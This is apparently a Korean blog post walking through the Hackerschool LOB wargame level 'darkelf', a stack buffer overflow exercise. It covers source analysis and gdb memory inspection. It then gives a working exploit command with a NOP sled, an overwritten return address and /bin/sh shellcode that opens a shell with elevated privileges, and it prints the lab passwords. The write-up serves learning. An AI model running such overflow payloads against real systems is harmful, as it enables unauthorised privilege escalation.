id : wolfman
pw : love eyuna
1. 파일 목록 확인, 소스코드 분석
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
[wolfman@localhost wolfman]$ ls -al //파일 목록 확인
total 48
drwx------ 2 wolfman wolfman 4096 Mar 29 2010 .
drwxr-xr-x 25 root root 4096 Mar 30 2010 ..
-rw-r--r-- 1 wolfman wolfman 24 Feb 26 2010 .bash_logout
-rw-r--r-- 1 wolfman wolfman 230 Feb 26 2010 .bash_profile
-rw-r--r-- 1 wolfman wolfman 124 Feb 26 2010 .bashrc
-rwxr-xr-x 1 wolfman wolfman 333 Feb 26 2010 .emacs
-rw-r--r-- 1 wolfman wolfman 3394 Feb 26 2010 .screenrc
-rwsr-sr-x 1 darkelf darkelf 12655 Feb 26 2010 darkelf
-rw-r--r-- 1 root root 721 Mar 29 2010 darkelf.c
[wolfman@localhost wolfman]$ cat darkelf.c //darkelf.c 내용 확인
/*
The Lord of the BOF : The Fellowship of the BOF
- darkelf
- egghunter + buffer hunter + check length of argv[1]
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument level 5와 다르게 추가된 조건
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
|
cs |
이번에는 입력 argument의 길이를 검사하는 조건이 추가되었다.
argv[1]의 길이가 48보다 크면 argument is too long!이 출력된 후 프로그램이 종료된다.
입력 값의 길이에 제한이 생겼으니 더 자세히 살펴봐야겠다.
2. gdb로 메모리 주소 확인
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
[wolfman@localhost wolfman]$ vi mydarkelf.c //darkelf.c와 내용이 같은 파일 생성
[wolfman@localhost wolfman]$ gcc -o mydarkelf mydarkelf.c // 컴파일 후 실행파일 생성
[wolfman@localhost wolfman]$ ls // mydarkelf 파일 생성된 것 확인
darkelf darkelf.c mydarkelf mydarkelf.c
[wolfman@localhost wolfman]$ gdb -q mydarkelf // gdb로 mydarkelf 구조 분석
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048500 <main>: push %ebp
0x8048501 <main+1>: mov %ebp,%esp
.
. (중략)
.
0x80485ed <main+237>: call 0x8048440 <strcpy>
0x80485f2 <main+242>: add %esp,8 // strcpy된 값이 들어가는 위치
0x80485f5 <main+245>: lea %eax,[%ebp-40]
0x80485f8 <main+248>: push %eax
|
cs |
이 문제를 푸는 포인트는 argv[2]를 이용하는 것이다.
darkelf에서는 argv[1]의 길이에 대해서만 검사하고 있기 때문에 argv[2]가 들어가는 주소를 알아내 그곳에 쉘코드를 넣고 버퍼오버플로우를 일으키면 된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
(gdb) b *0x80485f2
Breakpoint 1 at 0x80485f2
(gdb) r $(python -c 'print "\xbf"*48') $(python -c 'print "A"*100')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/wolfman/mydarkelf $(python -c 'print "\xbf"*48') $(python -c 'print "A"*100')
Breakpoint 1, 0x80485f2 in main ()
(gdb) x/128x $esp
0xbffffa44: 0xbffffa50 0xbffffbd6 0x00000015 0xbfbfbfbf
.
.
.
0xbffffba4: 0x00000000 0x00000000 0x00000000 0x00000000
---Type <return> to continue, or q <return> to quit---return
0xbffffbb4: 0x00000000 0x38366900 0x682f0036 0x2f656d6f
0xbffffbc4: 0x666c6f77 0x2f6e616d 0x6164796d 0x6c656b72
0xbffffbd4: 0xbfbf0066 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf
0xbffffbe4: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf
0xbffffbf4: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf
0xbffffc04: 0x4100bfbf 0x41414141 0x41414141 0x41414141
0xbffffc14: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc24: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc34: 0x41414141 0x41414141 0x41414141 0x41414141
|
cs |
strcpy된 값이 들어가는 주소 0x80485f2에 breakpoint를 걸고
argv[1]에서 멈추지 않게 bf가 48개 들어가고 그 후에 argv[2]에 "A"를 100개 넣는 프로그램을 작성해 실행했다.
스택 위에서부터 128개씩 words를 출력하는 명령을 넣고 결과를 쭉 펼쳐 보면 0xbfffc04에서 bf가 끝나고 41(A의 아스키코드값)이 들어가기 시작하는 것이 보인다. 41이 먼저 나오고 그 뒤에 bfbf가 나온 것은 리틀 엔디안으로 들어갔기 때문으로 추측된다.
그 옆에 전부 다 A가 들어간 0xbffffc08을 기준으로 공격하기로 했다.
3. bof 공격 후 쉘코드로 비밀번호 획득
1
2
3
4
5
6
7
8
9
|
[wolfman@localhost wolfman]$ ./darkelf `python -c 'print "\x90"*44+"\x08\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
üÿ¿
bash$ id
uid=505(wolfman) gid=505(wolfman) euid=506(darkelf) egid=506(darkelf) groups=505(wolfman)
bash$ my-pass
euid = 506
kernel crashed
bash$
|
cs |
nop(\x90) 44개 + 위에서 기준 잡은 주소 0xbffffc08 = 48byte로 argv[1]을 넘치지 않게 딱 채우고,
그 뒤에 argv[2]에 nop을 여유있게 100개 넣어준 뒤 쉘코드를 넣어 쭉 미끄러져 쉘이 열리도록 했다.
의도했던 대로 bash 쉘이 열렸고, id로 정보를 확인해보니 euid, egid가 darkelf로 되어있다.
mypass를 통해 비밀번호를 획득했다.
pw : kernel crashed
'해킹 공부 > 시스템 해킹' 카테고리의 다른 글
DreamHack_System hacking stage1 (0) | 2022.07.06 |
---|---|
[해커스쿨 LOB] level11_skeleton (0) | 2022.05.15 |
해커스쿨 LOB level 5 orc (0) | 2022.04.03 |
해커스쿨 LOB level 4 goblin (0) | 2022.03.27 |
해커스쿨 LOB level 3 (0) | 2022.03.22 |